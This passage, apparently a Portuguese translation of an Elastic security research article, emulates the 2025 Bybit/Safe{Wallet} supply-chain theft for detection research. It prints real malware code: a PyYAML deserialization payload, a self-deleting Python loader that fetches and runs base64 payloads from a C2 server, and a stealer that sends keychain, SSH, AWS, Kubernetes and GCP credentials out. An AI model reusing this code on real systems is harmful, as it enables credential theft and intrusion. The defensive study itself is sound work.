Principais conclusões
Principais conclusões desta pesquisa:
- PyYAML foi a desserialização como vetor de acesso inicial
- O ataque aproveitou o abuso do token de sessão e o movimento lateral da AWS
- Adulteração da cadeia de suprimentos do site estático
- Stealth baseado em Docker no macOS
- Correlação de detecção ponta a ponta com Elastic
Introdução
Em fevereiro 21, 2025 o mundo das criptomoedas foi abalado quando aproximadamente 400.000 ETH desapareceram da ByBit — uma das maiores bolsas de criptomoedas do setor. Acredita-se que por trás desse roubo incrível esteja a unidade de elite ciberofensiva da Coreia do Norte, conhecida como TraderTraitor. Explorando um relacionamento de fornecedor confiável com a Safe{Wallet}, uma plataforma de carteira multisig (multiassinatura), a TraderTraitor transformou uma transação de rotina em um assalto de bilhões de dólares. A segmentação da cadeia de suprimentos se tornou uma marca registrada da estratégia cibernética da RPDC, sustentando o roubo de mais de US$ 6 bilhões em criptomoedas pelo regime desde 2017. Neste artigo, dissecaremos esse ataque, emularemos cuidadosamente suas táticas em um ambiente controlado e forneceremos lições práticas para reforçar as defesas de segurança cibernética usando o produto e os recursos da Elastic.
Nossa emulação dessa ameaça é baseada em pesquisas divulgadas pela Sygnia, Mandiant/SAFE, SlowMist e Unit42.
Cronologia dos eventos
Se você está aqui para detalhes técnicos de emulação, sinta-se à vontade para pular para a próxima etapa. Mas para contextualizar — e esclarecer o que foi oficialmente relatado — compilamos uma linha do tempo de alto nível dos eventos para fundamentar nossas suposições com base na pesquisa referenciada acima.
Fevereiro 2, 2025 – Configuração de infraestrutura
O invasor registra o domínio getstockprice[.]com via Namecheap. Essa infraestrutura é posteriormente usada como ponto final C2 na carga de acesso inicial.
Fevereiro 4, 2025 – Compromisso Inicial
A estação de trabalho macOS do desenvolvedor1 foi comprometida após a execução de um aplicativo Python malicioso. Este aplicativo continha lógica relacionada ao Docker e fazia referência ao domínio do invasor. O caminho do arquivo (~/Downloads/) e o comportamento do malware sugerem engenharia social (provavelmente via Telegram ou Discord, consistente com as práticas comerciais anteriores REF7001 e UNC4899).
Fevereiro 5, 2025 – Começa a intrusão na AWS
O invasor acessa com sucesso o ambiente AWS do Safe{Wallet} usando os tokens de sessão AWS ativos do Desenvolvedor1. O invasor tenta (sem sucesso) registrar seu próprio dispositivo MFA virtual para o usuário IAM do Desenvolvedor1, indicando uma tentativa de persistência.
5 a 17 de fevereiro: A atividade de reconhecimento começa no ambiente da AWS. Durante esse período, as ações do invasor provavelmente incluíram a enumeração de funções do IAM, buckets do S3 e outros ativos da nuvem.
Fevereiro 17, 2025 – Atividade de Comando e Controle da AWS
Tráfego C2 confirmado observado na AWS. Isso marca a mudança do reconhecimento passivo para a preparação ativa do ataque.
Fevereiro 19, 2025 – Adulteração de Aplicativo Web
Um instantâneo do app.safe.global (aplicativo web Next.js hospedado estaticamente da Safe{Wallet}) capturado pela Wayback Machine mostra a presença de JavaScript malicioso. O payload foi criado para detectar uma transação multissig do Bybit e modificá-la imediatamente, redirecionando fundos para a carteira do invasor.
Fevereiro 21, 2025 – Execução e Limpeza
A transação de exploração é executada contra o Bybit por meio do frontend comprometido Safe{Wallet}.
Um novo instantâneo da Wayback Machine confirma que a carga útil do JavaScript foi removida, indicando que o invasor a limpou manualmente após a execução.
A transação de assalto da Bybit foi finalizada. Aproximadamente 400.000 ETH foram roubados. Análises subsequentes feitas pela Sygnia e outras empresas confirmam que a infraestrutura da Bybit não foi diretamente comprometida — a Safe{Wallet} foi o único ponto de falha.
Suposições para emulação
- Vetor inicial de engenharia social: a engenharia social foi empregada para comprometer o Desenvolvedor1, resultando na execução de um script Python malicioso. Os detalhes exatos da tática de engenharia social (como mensagens específicas, técnicas de representação ou a plataforma de comunicação usada) permanecem desconhecidos.
- Carregador e carga útil de segundo estágio: o script Python malicioso executou um carregador de segundo estágio. Atualmente, não está claro se este carregador e as cargas úteis subsequentes correspondem àquelas detalhadas no relatório da Unit42, apesar do alinhamento nas características do aplicativo Python de acesso inicial.
- Estrutura e fluxo de trabalho do aplicativo seguro: o aplicativo comprometido (
app.global.safe) parece ser um aplicativo Next.js hospedado estaticamente no AWS S3. Entretanto, detalhes específicos como suas rotas exatas, componentes, processos de desenvolvimento, métodos de controle de versão e fluxo de trabalho de implantação de produção são desconhecidos. - Implantação de carga útil de JavaScript: embora os invasores tenham injetado JavaScript malicioso no aplicativo Safe{Wallet}, não está claro se isso envolveu a reconstrução e reimplantação de todo o aplicativo ou apenas a substituição/modificação de um arquivo JavaScript específico.
- Detalhes do AWS IAM e do Identity Management: detalhes sobre as permissões, funções e configurações de políticas do IAM do Desenvolvedor1 na AWS são desconhecidos. Além disso, ainda não está claro se o Safe{Wallet} usou o AWS IAM Identity Center ou soluções alternativas de gerenciamento de identidade.
- Recuperação e uso de tokens de sessão da AWS: embora os relatórios confirmem que os invasores usaram tokens de sessão temporários da AWS, os detalhes sobre como o Desenvolvedor1 recuperou originalmente esses tokens (como por meio do AWS SSO,
GetSessionTokenou configurações específicas de MFA) e como eles foram posteriormente armazenados ou utilizados (por exemplo, variáveis de ambiente, arquivos de configuração da AWS, scripts personalizados) são desconhecidos. - Técnicas de enumeração e exploração da AWS: As ferramentas exatas, metodologias de enumeração, chamadas de API da AWS e ações específicas realizadas por invasores no ambiente da AWS entre fevereiro 5 e fevereiro 17, 2025, permanecem não divulgadas.
- Mecanismos de persistência da AWS: embora haja uma indicação de persistência potencial na infraestrutura da AWS (por exemplo, por meio de comprometimento de instância do EC2), detalhes explícitos, incluindo ferramentas, táticas ou métodos de persistência, não são fornecidos.
Visão geral do ataque
Atacar empresas dentro do ecossistema de criptomoedas é uma ocorrência comum. A RPDC tem essas empresas como alvo constante devido ao relativo anonimato e à natureza descentralizada da criptomoeda, permitindo que o regime escape das sanções financeiras globais. Os grupos cibernéticos ofensivos da Coreia do Norte são excelentes em identificar e explorar vulnerabilidades, resultando em bilhões de dólares em perdas.
Essa intrusão começou com o comprometimento direcionado da estação de trabalho MacOS de um desenvolvedor na Safe{Wallet}, fornecedora confiável de carteira multiassinatura da ByBit. O acesso inicial envolveu engenharia social, provavelmente abordando o desenvolvedor por meio de plataformas como LinkedIn, Telegram ou Discord, com base em campanhas anteriores, e convencendo-o a baixar um arquivo compactado contendo um aplicativo Python com tema de criptografia — um procedimento de acesso inicial favorecido pela RPDC. Este aplicativo Python também incluía uma versão Dockerizada do aplicativo que podia ser executada dentro de um contêiner privilegiado. Sem o conhecimento do desenvolvedor, esse aplicativo aparentemente inofensivo permitiu que operadores da RPDC explorassem uma vulnerabilidade de execução remota de código (RCE) na biblioteca PyYAML, fornecendo recursos de execução de código e, posteriormente, controle sobre o sistema host.
Após obter acesso inicial à máquina do desenvolvedor, os invasores implantaram o agente Poseidon do MythicC2, uma carga útil robusta baseada em Golang que oferece recursos avançados de furtividade e amplas capacidades de pós-exploração para ambientes macOS. Os invasores podem então ter realizado um reconhecimento, descobrindo o acesso do desenvolvedor ao ambiente AWS da Safe{Wallet} e o uso de tokens temporários de sessão de usuário da AWS protegidos por autenticação multifator (MFA). Munidos da ID da chave de acesso da AWS, da chave secreta e do token de sessão temporário do desenvolvedor, os agentes da ameaça se autenticaram no ambiente AWS da Safe{Wallet} em aproximadamente 24 horas, capitalizando a validade de 12 horas dos tokens de sessão.
Tentando garantir acesso persistente ao ambiente da AWS, os invasores tentaram registrar seu próprio dispositivo MFA. No entanto, os tokens de sessão temporários da AWS não permitem chamadas de API do IAM sem contexto de autenticação MFA, causando falha nessa tentativa. Após esse pequeno contratempo, o agente da ameaça enumerou o ambiente da AWS e acabou descobrindo um bucket S3 que hospedava a interface de usuário estática Next.js do Safe{Wallet}.
Os invasores poderiam então ter baixado o código agrupado deste aplicativo Next.js, passando quase duas semanas analisando sua funcionalidade antes de injetar JavaScript malicioso no arquivo JS principal e substituir a versão legítima hospedada no bucket S3. O código JavaScript malicioso foi ativado exclusivamente em transações iniciadas a partir do endereço de carteira fria da Bybit e de um endereço controlado pelo invasor. Ao inserir parâmetros codificados, o script contornou as verificações de validação de transações e as verificações de assinatura digital, enganando efetivamente os aprovadores da carteira ByBit que confiavam implicitamente na interface Safe{Wallet}.
Pouco tempo depois, a RPDC iniciou uma transação fraudulenta, acionando o script malicioso para alterar os detalhes da transação. Essa manipulação, provavelmente, contribuiu para enganar os signatários da carteira e fazê-los aprovar a transferência ilícita, concedendo assim aos agentes da RPDC o controle de aproximadamente 400.000 ETH. Esses fundos roubados foram então lavados em carteiras controladas pelos invasores.
Optamos por encerrar nossa pesquisa e emulação de comportamento no comprometimento do aplicativo Next.js. Portanto, não nos aprofundamos nas tecnologias de blockchain, como contratos inteligentes ETH, endereços de contrato e chamadas de varredura ETH discutidas em várias outras publicações de pesquisa.
Emulando o ataque
Para entender verdadeiramente essa violação, decidimos emular toda a cadeia de ataque em um ambiente de laboratório controlado. Como pesquisadores de segurança na Elastic, queríamos seguir os passos do invasor para entender como essa operação se desenrolava em cada estágio: da execução do código ao sequestro de sessão da AWS e à manipulação de transações baseadas no navegador.
Essa emulação prática serviu a um propósito duplo. Primeiro, ele nos permitiu analisar o ataque em um nível técnico granular para descobrir oportunidades práticas de detecção e prevenção. Em segundo lugar, isso nos deu a oportunidade de testar os recursos do Elastic de ponta a ponta, para ver se nossa plataforma não só conseguiria detectar cada fase do ataque, mas também correlacioná-las em uma narrativa coesa na qual os defensores pudessem agir.
Comprometimento do endpoint do macOS
Graças à descrição detalhada da Unit42— e, mais importante, ao upload de amostras recuperadas para o VirusTotal — conseguimos emular o ataque de ponta a ponta usando as cargas reais observadas na prática. Isso incluiu:
- Carga útil de desserialização PyYAML
- Script de carregamento Python
- Script de ladrão em Python
Aplicativo Python malicioso
O aplicativo Python de acesso inicial que usamos em nossa emulação está alinhado com exemplos destacados e compartilhados pela SlowMist e corroborados pelas descobertas de resposta a incidentes da Mandiant sobre o comprometimento do desenvolvedor SAFE. Este aplicativo também correspondeu à estrutura de diretório do aplicativo mostrada pela Unit42 em seu artigo. Os invasores bifurcaram um projeto Python legítimo de negociação de ações do GitHub e o introduziram em um script Python chamado data_fetcher.py.
O aplicativo utiliza o Streamlit para executar app.py, que importa o script data_fetcher.py.
O script data_fetcher.py inclui funcionalidade maliciosa projetada para atingir um domínio controlado pelo invasor.
O script, por padrão, busca dados válidos relacionados ao mercado de ações. No entanto, com base em condições específicas, o servidor controlado pelo invasor pode retornar uma carga útil YAML maliciosa. Quando avaliado usando o carregador inseguro do PyYAML (yaml.load()), esse payload permite a desserialização arbitrária de objetos Python, resultando em RCE.
Carga útil de desserialização PyYAML
(VT Hash: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)
Recriamos essa configuração maliciosa hospedando a carga útil de desserialização YAML em um aplicativo web Python+Flask, usando o PythonAnywhere para imitar a infraestrutura do invasor. Atualizamos o URL malicioso no script data_fetcher.py para apontar para nossa carga útil YAML hospedada no PythonAnywhere.
Quando o PyYAML carrega e executa a carga útil maliciosa do YAML, ele realiza as seguintes ações:
Primeiro, ele cria um diretório chamado Public no diretório inicial da vítima.
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
Em seguida, ele decodifica e grava um script de carregador Python codificado em base64 em um novo arquivo chamado __init__.py dentro do diretório Public .
filePath = os.path.join(directory, "__init__.py")
with open(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
Por fim, ele executa o script __init__.py recém-criado silenciosamente em segundo plano, iniciando o segundo estágio do ataque.
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Script de carregamento Python
(VT Hash: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)
Para evitar deixar evidências forenses, o carregador primeiro exclui seu arquivo (__init__.py) após a execução, deixando-o em execução apenas na memória.
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
O objetivo principal deste carregador é estabelecer comunicação contínua com o servidor de Comando e Controle (C2). Ele reúne informações básicas do sistema — como tipo de sistema operacional, arquitetura e versão do sistema — e envia esses detalhes ao C2 por meio de uma solicitação HTTP POST para o ponto de extremidade de URL codificado /club/fb/status.
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
Com base na resposta do servidor (valor ret), o carregador decide seus próximos passos.
ret == 0:
O script dorme por 20 segundos e continua a pesquisa.
if res['ret'] == 0:
time.sleep(20)
continue
ret == 1:
A resposta do servidor inclui uma carga útil em Base64. O script decodifica essa carga útil e a grava em um arquivo — chamado init.dll se estiver no Windows ou init caso contrário — e então carrega dinamicamente a biblioteca usando ctypes.cdll.LoadLibrary, o que faz com que a carga útil seja executada como um binário nativo.
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
with open(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
ret == 2:
O script decodifica o conteúdo Base64 em código-fonte Python e então o executa usando a função exec() do Python. Isso permite executar código Python arbitrário.
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
ret == 3:
O script decodifica uma carga binária (dockerd) e um arquivo de configuração binário (docker-init) em dois arquivos separados, define suas permissões como executáveis e, em seguida, tenta executá-los como um novo processo, fornecendo o arquivo de configuração como um argumento para a carga binária. Após a execução da carga binária, ele exclui seu arquivo executável, deixando o arquivo de configuração no disco para referência.
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
ret == 9:
O script sai do loop de pesquisa, encerrando outras ações.
elif res['ret'] == 9:
break
Após processar qualquer comando, o script continua a pesquisar mais instruções do servidor C2.
Emulação do carregador Python
Nosso objetivo era testar cada uma das opções de comando dentro do carregador para entender melhor o que estava acontecendo, coletar dados de telemetria relevantes e analisá-los com a finalidade de criar detecções robustas para nosso endpoint e o SIEM.
Ret == 1: Gravar biblioteca no disco, carregar e excluir Dylib
O payload que usamos para esta opção foi um payload Poseidon compilado como uma biblioteca compartilhada (.dylib).
Em seguida, codificamos o binário em base64 e conseguimos codificar o caminho para essa carga útil codificada em base64 em nosso servidor C2 para ser atendida ao testar esse comando de carregador específico.
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
Depois que recebemos o retorno de chamada do payload do Poseidon para o Mythic C2, conseguimos recuperar credenciais usando uma variedade de métodos diferentes fornecidos pelo Poseidon.
Opção 1: comando de download - acessa o arquivo, lê o conteúdo e envia os dados de volta para C2.
Opção 2: comando getenv - Lê variáveis de ambiente do usuário e envia o conteúdo de volta para C2.
Opção 3: comandos jsimport e jsimport_call - Importe o script JXA para a memória e chame um método dentro do script JXA para recuperar credenciais do arquivo e retornar o conteúdo.
Ret == 2: Receber e executar código Python arbitrário na memória do processo
(VT Hash: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)
O script do carregador permite a execução de códigos Python ou scripts arbitrários na memória. No blog da Unit42, eles forneceram um script Python que observaram a RPDC executando por meio desse valor de retorno. Este script coleta uma grande quantidade de dados. Esses dados são codificados por XOR e enviados de volta ao servidor C2 por meio de uma solicitação POST. Para a emulação, tudo o que foi necessário foi adicionar nossa URL C2 com a rota apropriada, conforme definida em nosso servidor C2, e codificar o script em base64, codificando seu caminho dentro de nosso servidor para quando essa opção fosse testada.
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
Ret == 3: Gravar carga binária e configuração binária no disco, executar carga e excluir arquivo
Para ret == 3 usamos uma carga binária padrão do Poseidon e um “arquivo de configuração” contendo dados binários conforme especificado no script do carregador. Em seguida, codificamos em base64 tanto o arquivo binário quanto o arquivo de configuração, como a opção ret == 1 acima, e codificamos seus caminhos em nosso servidor C2 para servirem ao testar esse comando. Assim como a opção ret == 1 acima, conseguimos usar os mesmos comandos para coletar credenciais do sistema de destino.
Infraestrutura C2
Criamos um servidor C2 muito simples e pequeno, construído com Python+Flask, com a intenção de escutar em uma porta específica em nossa VM Kali Linux e avaliar solicitações recebidas, respondendo apropriadamente com base na rota e no valor de retorno que queríamos testar.
Também usamos o Mythic C2 de código aberto para facilitar a criação e o gerenciamento das cargas úteis do Poseidon que usamos. Mythic é um framework C2 de código aberto criado e mantido por Cody Thomas na SpecterOps.
Aplicativo Python malicioso: versão Docker
Também exploramos uma variante Dockerizada do aplicativo malicioso Python. Esta versão foi empacotada em um contêiner Python Docker mínimo (python:3.12.2-slim) executado em modo privilegiado, concedendo a capacidade de acessar recursos do host.
Um aplicativo em contêiner cria um ponto cego de telemetria e detecção no macOS porque o Endpoint Security Framework (ESF) da Apple não tem a capacidade de introspectar processos em contêiner. Embora as soluções de detecção de endpoint e ESF ainda possam observar o processo confiável do Docker acessando arquivos de host confidenciais, como chaves SSH, credenciais da AWS ou dados de configuração do usuário, essas ações geralmente se alinham aos fluxos de trabalho padrão do desenvolvedor. Como resultado, as ferramentas de segurança têm menos probabilidade de examinar ou disparar alertas sobre atividades em contêineres, oferecendo aos invasores maior discrição ao operar em ambientes Docker.
Isso destaca a necessidade de monitoramento adicional, como OSQuery e coleta de arquivos de log do Docker para complementar as defesas de endpoint padrão do macOS. A Elastic oferece coleta de arquivos de log do OSQuery e do Docker por meio de nossas integrações de dados para o Elastic Agent, juntamente com nossos recursos de proteção de endpoint.
Conclusão da emulação do macOS
Nossa emulação recriou o ataque contra o sistema macOS dos desenvolvedores do SAFE de ponta a ponta usando cargas úteis do mundo real.
Aplicativo Python malicioso:
Começamos replicando o aplicativo malicioso Python descrito nas descobertas da Mandiant e no relatório da Unit42. Os invasores bifurcaram um aplicativo legítimo de código aberto e incorporaram o acesso RCE dentro de data_fetcher.py. Este script fez solicitações de saída para um servidor controlado pelo invasor e buscou condicionalmente um arquivo YAML malicioso. Usando yaml.load() do PyYAML com um carregador inseguro, o invasor acionou a execução de código arbitrário por meio da desserialização.
Desserialização do payload PyYAML resultando na execução do script do carregador Python:
O payload YAML escreveu um carregador de segundo estágio codificado em base64 para ~/Public/__init__.py e o executou em um processo separado. Nós imitamos esse fluxo exato usando um servidor de preparação baseado em Flask hospedado no PythonAnywhere.
Execução do carregador Python e interação C2:
Uma vez iniciado, o carregador excluía seu arquivo no disco e era direcionado ao nosso C2 emulado, aguardando a execução da tarefa. Com base no código de resposta do C2 (ret), testamos as seguintes ações:
- ret == 1: O carregador decodificou uma carga útil do Poseidon (compilada como
.dylib) e a executou usandoctypes.cdll.LoadLibrary(), resultando na execução de código nativo do disco. - ret == 2: O carregador executou um ladrão Python na memória, correspondendo ao script compartilhado pelo Unit42. Este script coletou dados do sistema, do usuário, do navegador e de credenciais e os exfiltrou por meio de solicitações POST codificadas em XOR.
- ret == 3: O carregador gravou um binário Poseidon e um arquivo de configuração binário separado no disco, executou o binário com a configuração como argumento e então excluiu o payload.
- ret == 9: O carregador encerrou seu loop de pesquisa.
Coleta de dados: reconhecimento pré-pivô e acesso a credenciais:
Durante nosso teste ret == 2 , o ladrão Python reuniu:
- Informações do sistema macOS (
platform,os,user) - Dados do usuário do Chrome (favoritos, cookies, dados de login, etc.)
- Chaves privadas SSH (
~/.ssh) - Credenciais da AWS (
~/.aws/credentials) - Arquivos de chaves do macOS (
login.keychain-db) - Arquivos de configuração do GCP/Kube de
.config/
Isso emula a coleta de dados pré-pivô que precedeu a exploração da nuvem e reflete como os agentes da RPDC coletaram credenciais da AWS do ambiente local do desenvolvedor.
Com credenciais válidas da AWS, os agentes da ameaça então migraram para o ambiente de nuvem, iniciando a segunda fase dessa intrusão.
Comprometimento da nuvem AWS
Pré-requisitos e configuração
Para emular o estágio AWS deste ataque, primeiro utilizamos o Terraform para montar a infraestrutura necessária. Isso incluiu a criação de um usuário do IAM (desenvolvedor) com uma política de IAM excessivamente permissiva, concedendo acesso às APIs do S3, IAM e STS. Em seguida, enviamos um aplicativo Next.js criado localmente para um bucket S3 e confirmamos que o site estava ativo, simulando um frontend Safe{Wallet} simples.
Nossa escolha de Next.js foi baseada no caminho original do site estático do bucket S3 - https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js
Antes de injetar qualquer código malicioso, verificamos a integridade do site realizando uma transação de teste usando um endereço de carteira de destino conhecido para garantir que o aplicativo respondesse conforme o esperado.
Recuperação de Token de Sessão Temporária
Após o acesso inicial e a atividade pós-comprometimento na estação de trabalho macOS do desenvolvedor, as primeiras suposições se concentraram no adversário recuperando credenciais de locais de configuração padrão da AWS, como ~/.aws ou de variáveis de ambiente do usuário. Mais tarde, o blog da Unit42 confirmou que o script Python stealer tinha como alvo arquivos da AWS. Esses locais geralmente armazenam credenciais de IAM de longo prazo ou tokens de sessão temporários usados em fluxos de trabalho de desenvolvimento padrão. No entanto, com base em relatórios públicos, esse comprometimento específico envolveu tokens de sessão de usuário da AWS, não credenciais de IAM de longo prazo. Em nossa emulação, como desenvolvedores, adicionamos nosso dispositivo MFA virtual ao nosso usuário do IAM, o habilitamos e então recuperamos nosso token de sessão de usuário e exportamos as credenciais para nosso ambiente. Observe que em nosso endpoint Kali Linux, utilizamos o ExpressVPN — como feito pelos adversários — para quaisquer chamadas de API da AWS ou interações com a caixa do desenvolvedor.
Suspeita-se que o desenvolvedor obteve credenciais temporárias da AWS pela operação da API GetSessionToken ou fazendo login via AWS Single Sign-On (SSO) usando a AWS CLI. Ambos os métodos resultam em credenciais de curta duração armazenadas em cache localmente e utilizáveis para interações baseadas em CLI ou SDK. Essas credenciais temporárias provavelmente foram armazenadas em cache nos arquivos ~/.aws ou exportadas como variáveis de ambiente no sistema macOS.
No cenário GetSessionToken , o desenvolvedor teria executado um comando como este:
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
No cenário de autenticação baseado em SSO, o desenvolvedor pode ter executado:
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
Qualquer um dos métodos resulta em credenciais temporárias (chave de acesso, segredo e token de sessão) sendo salvas em arquivos ~/.aws e disponibilizadas para o perfil AWS configurado. Essas credenciais são então usadas automaticamente por ferramentas como a AWS CLI ou SDKs como o Boto3, a menos que sejam substituídas. Em ambos os casos, se um malware ou um adversário tivesse acesso ao sistema macOS do desenvolvedor, essas credenciais poderiam ter sido facilmente coletadas das variáveis de ambiente, do cache de configuração da AWS ou do arquivo de credenciais.
Para obter essas credenciais para o Desenvolvedor1, foi criado um script personalizado para automação rápida. Ele criou um dispositivo MFA virtual na AWS, registrou o dispositivo com nosso usuário Developer1 e, em seguida, chamou GetSessionToken do STS, adicionando as credenciais de sessão de usuário temporárias retornadas ao nosso ponto de extremidade macOS como variáveis de ambiente, conforme mostrado abaixo.
Tentativas de registro de dispositivos MFA
Uma suposição importante aqui é que o desenvolvedor estava trabalhando com uma sessão de usuário que tinha o MFA habilitado, seja para uso direto ou para assumir uma função de IAM gerenciada de forma personalizada. Nossa suposição deriva do material de credencial comprometido — tokens temporários de sessão de usuário da AWS, que não são obtidos do console, mas sim solicitados sob demanda do STS. Credenciais temporárias retornadas de GetSessionToken ou SSO expiram por padrão após um determinado número de horas, e um token de sessão com o prefixo ASIA* sugere que o adversário coletou uma credencial de curta duração, mas de alto impacto. Isso se alinha com comportamentos observados em ataques anteriores atribuídos à RPDC, onde credenciais e configurações para Kubernetes, GCP e AWS foram extraídas e reutilizadas.
Assumindo a identidade comprometida em Kali
Depois que o token de sessão da AWS foi coletado, o adversário provavelmente o armazenou em seu sistema Kali Linux nos locais de credenciais padrão da AWS (por exemplo, ~/.aws/credentials ou como variáveis de ambiente) ou potencialmente em uma estrutura de arquivo personalizada, dependendo das ferramentas em uso. Embora o AWS CLI tenha como padrão a leitura de ~/.aws/credentials e variáveis de ambiente, um script Python que aproveite o Boto3 pode ser configurado para obter credenciais de praticamente qualquer arquivo ou caminho. Dada a velocidade e a precisão da atividade pós-comprometimento, é plausível que o invasor tenha usado a AWS CLI, chamadas diretas do Boto3 SDK ou scripts de shell envolvendo comandos CLI, todos os quais oferecem conveniência e assinatura de solicitação integrada.
O que parece menos provável é que o invasor tenha assinado manualmente as solicitações da API da AWS usando o SigV4, pois isso seria desnecessariamente lento e operacionalmente complexo. Também é importante observar que nenhum blog público divulgou qual sequência de agente do usuário foi associada ao uso do token de sessão (por exemplo, aws-cli, botocore, etc.), o que deixa incerteza quanto às ferramentas exatas do invasor. Dito isso, dada a dependência estabelecida do DRPK no Python e a velocidade do ataque, o uso de CLI ou SDK continua sendo a suposição mais razoável.
Observação: fizemos isso em emulação com nossa carga útil Poseidon antes do blog da Unidade 42 sobre os recursos do RN Loader.
É importante esclarecer uma nuance sobre o modelo de autenticação da AWS: usar um token de sessão não bloqueia inerentemente o acesso às ações da API do IAM — mesmo ações como CreateVirtualMFADevice — desde que a sessão tenha sido estabelecida inicialmente com MFA. Em nossa emulação, tentamos replicar esse comportamento usando um token de sessão roubado que tinha contexto MFA. Curiosamente, nossas tentativas de registrar um dispositivo MFA adicional falharam, sugerindo que pode haver salvaguardas adicionais, como restrições de política explícitas, que impedem o registro de MFA por meio de tokens de sessão ou os detalhes desse comportamento ainda são muito vagos e imitamos incorretamente o comportamento. Embora o motivo exato da falha ainda não esteja claro, esse comportamento justifica uma investigação mais profunda nas políticas do IAM e no contexto de autenticação associado às ações vinculadas à sessão.
Enumeração de ativos S3
Após a aquisição das credenciais, o invasor provavelmente enumerou os serviços acessíveis da AWS. Nesse caso, o Amazon S3 era um alvo claro. O invasor teria listado os buckets disponíveis para a identidade comprometida em todas as regiões e localizado um bucket público associado ao Safe{Wallet}, que hospedava o aplicativo frontend Next.js para processamento de transações.
Presumimos que o invasor estava ciente do bucket S3 devido à sua função de fornecer conteúdo para app.safe[.]global, o que significa que a estrutura e os ativos do bucket poderiam ser navegados publicamente ou baixados sem autenticação. Em nossa emulação, validamos um comportamento semelhante sincronizando ativos de um bucket S3 público usado para hospedagem de sites estáticos.
Sobrescrita do aplicativo Next.js com código malicioso
Depois de descobrir o bucket, o invasor provavelmente usou o comando aws s3 sync para baixar todo o conteúdo, o que incluía os ativos JavaScript do frontend agrupados. Entre fevereiro 5 e fevereiro de 19 2025, eles pareceram se concentrar na modificação desses ativos - especificamente, arquivos como main.<HASH>.js e rotas relacionadas, que são produzidos por Next.js durante seu processo de construção e armazenados no diretório _next/static/chunks/pages/ . Esses arquivos agrupados contêm a lógica do aplicativo transpilada e, de acordo com o relatório forense da Sygnia, um arquivo chamado _app-52c9031bfa03da47.js foi o principal ponto de injeção do código malicioso.
Os aplicativos Next.js, quando criados, normalmente armazenam seus ativos gerados estaticamente no diretório next/static/ , com pedaços de JavaScript organizados em pastas como /chunks/pages/. Nesse caso, o adversário provavelmente formatou e desofuscou o pacote JavaScript para entender sua estrutura e, em seguida, fez engenharia reversa na lógica do aplicativo. Após identificar o código responsável por manipular os endereços de carteira inseridos pelo usuário, eles injetaram seu payload. Esse payload introduziu uma lógica condicional: se o endereço da carteira inserido correspondesse a um dos vários endereços de destino conhecidos, ele substituiria silenciosamente o destino por um endereço controlado pela RPDC, redirecionando os fundos sem que o usuário percebesse.
Em nossa emulação, replicamos esse comportamento modificando o componente TransactionForm.js para verificar se o endereço do destinatário inserido correspondia a valores específicos. Se sim, o endereço foi substituído por uma carteira controlada pelo invasor. Embora isso não reflita a complexidade da manipulação real de contratos inteligentes ou chamadas de delegados usadas no ataque do mundo real, serve como comportamento conceitual para ilustrar como um frontend comprometido poderia redirecionar silenciosamente transações de criptomoedas.
Implicações de adulteração de site estático e controles de segurança ausentes
